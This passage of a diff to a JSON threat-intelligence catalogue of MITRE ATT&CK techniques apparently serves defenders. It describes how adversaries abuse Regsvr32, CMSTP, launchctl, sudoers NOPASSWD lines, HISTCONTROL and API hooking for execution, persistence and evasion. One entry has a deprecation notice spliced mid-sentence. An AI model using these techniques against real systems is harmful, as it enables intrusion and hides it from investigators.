"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", - "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", - "https://securelist.com/zero-day-vulnerability-in-telegram/83800/", - "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/", - "https://www.endgame.com/blog/how-hunt-masquerade-ball", - "https://www.f-secure.com/documents/996508/1030745/CozyDuke", - "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", - "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", - "https://vms.drweb.com/virus/?i=4276269", + "https://lolbas-project.github.io/", + "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", "https://twitter.com/ItsReallyNick/status/1055321652777619457" ] }, @@ -11712,7 +21196,7 @@ "value": "Masquerading - T1036" }, { - "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", + "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", "meta": { "external_id": "T1064", "kill_chain": [ @@ -11745,24 +21229,21 @@ "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "meta": { "external_id": "T1067", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "API monitoring", - "MBR", - "VBR" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1067", "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf", "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" ] }, + "related": [ + { + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", "value": "Bootkit - T1067" }, @@ -11770,21 +21251,6 @@ "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", "meta": { "external_id": "T1086", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "PowerShell logs", - "Loaded DLLs", - "DLL monitoring", - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1086", "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", @@ -11797,6 +21263,15 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" ] }, + "related": [ + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", "value": "PowerShell - T1086" }, @@ -11804,24 +21279,20 @@ "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", "meta": { "external_id": "T1099", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1099", "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" ] }, + "related": [ + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", "value": "Timestomp - T1099" }, @@ -11829,19 +21300,6 @@ "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", "meta": { "external_id": "T1117", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1117", "https://support.microsoft.com/en-us/kb/249873", @@ -11850,6 +21308,15 @@ "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" ] }, + "related": [ + { + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", "value": "Regsvr32 - T1117" }, @@ -11857,23 +21324,21 @@ "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", "meta": { "external_id": "T1118", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1118", "https://msdn.microsoft.com/en-us/library/50614e95.aspx", "https://lolbas-project.github.io/lolbas/Binaries/Installutil/" ] }, + "related": [ + { + "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", "value": "InstallUtil - T1118" }, @@ -11881,19 +21346,6 @@ "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { "external_id": "T1191", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Process use of network", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1191", "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", @@ -11904,6 +21356,15 @@ "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" ] }, + "related": [ + { + "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", "value": "CMSTP - T1191" }, @@ -11911,22 +21372,21 @@ "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { "external_id": "T1142", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "System calls", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1142", "https://en.wikipedia.org/wiki/Keychain_(software)", "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" ] }, + "related": [ + { + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", "value": "Keychain - T1142" }, @@ -11934,29 +21394,25 @@ "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "meta": { "external_id": "T1152", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1152", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" ] }, + "related": [ + { + "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", "value": "Launchctl - T1152" }, { - "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", + "description": "**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", "meta": { "external_id": "T1153", "kill_chain": [ @@ -11983,54 +21439,47 @@ "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", "meta": { "external_id": "T1154", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1154", "https://ss64.com/bash/trap.html", "https://bash.cyberciti.biz/guide/Trap_statement" ] }, + "related": [ + { + "dest-uuid": "63220765-d418-44de-8fae-694b3912317d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", "value": "Trap - T1154" }, { "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "meta": { - "external_id": "T1148", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process monitoring", - "Authentication logs", - "File monitoring", - "Environment variable" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], + "external_id": "CAPEC-13", "refs": [ - "https://attack.mitre.org/techniques/T1148" + "https://attack.mitre.org/techniques/T1148", + "https://capec.mitre.org/data/definitions/13.html" ] }, + "related": [ + { + "dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "086952c4-5b90-4185-b573-02bad8e11953", "value": "HISTCONTROL - T1148" }, { - "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. \n\n### Internal\nAn adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)\n\n### External \nWebsites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)\n", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", "meta": { "external_id": "T1491", "kill_chain": [ @@ -12045,16 +21494,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "AWS", + "GCP", + "Azure" ], "refs": [ - "https://attack.mitre.org/techniques/T1491", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", - "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf", - "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf", - "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/", - "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf" + "https://attack.mitre.org/techniques/T1491" ] }, "uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", @@ -12064,24 +21510,20 @@ "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", "meta": { "external_id": "T1155", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "API monitoring", - "System calls", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1155", - "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" ] }, + "related": [ + { + "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", "value": "AppleScript - T1155" }, @@ -12089,17 +21531,6 @@ "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", "meta": { "external_id": "T1519", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1519", "https://www.xorrior.com/emond-persistence/", @@ -12107,6 +21538,15 @@ "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" ] }, + "related": [ + { + "dest-uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d376668f-b208-42de-b1f5-fdfe0ad4b753", "value": "Emond - T1519" }, @@ -12114,21 +21554,20 @@ "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "meta": { "external_id": "T1169", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1169", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" ] }, + "related": [ + { + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", "value": "Sudo - T1169" }, @@ -12136,22 +21575,6 @@ "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", "meta": { "external_id": "T1179", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "API monitoring", - "Binary file metadata", - "DLL monitoring", - "Loaded DLLs", - "Process monitoring", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1179", "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", @@ -12159,6 +21582,7 @@ "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", "https://www.exploit-db.com/docs/17802.pdf", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918", "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", "https://github.com/prekageo/winhook", @@ -12170,23 +21594,86 @@ "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" ] }, + "related": [ + { + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "66f73398-8394-4711-85e5-34c8540b22a5", "value": "Hooking - T1179" }, { - "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)", + "description": "**This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).**\n\nDNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)", "meta": { "external_id": "T1324", "kill_chain": [ "mitre-pre-attack:adversary-opsec" ], "refs": [ - "https://attack.mitre.org/techniques/T1324" + "https://attack.mitre.org/techniques/T1324", + "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/" ] }, "uuid": "7823039f-e2d5-4997-853c-ec983631206b", "value": "DNSCalc - T1324" + }, + { + "description": "Adversaries may send phishing messages to elicit sensitive information and/or gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victim’s emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms.", + "meta": { + "external_id": "CAPEC-98", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Web proxy", + "Email gateway", + "Mail server", + "Network intrusion detection system", + "Detonation chamber", + "SSL/TLS inspection", + "Anti-virus" + ], + "mitre_platforms": [ + "Linux", + "macOS", + 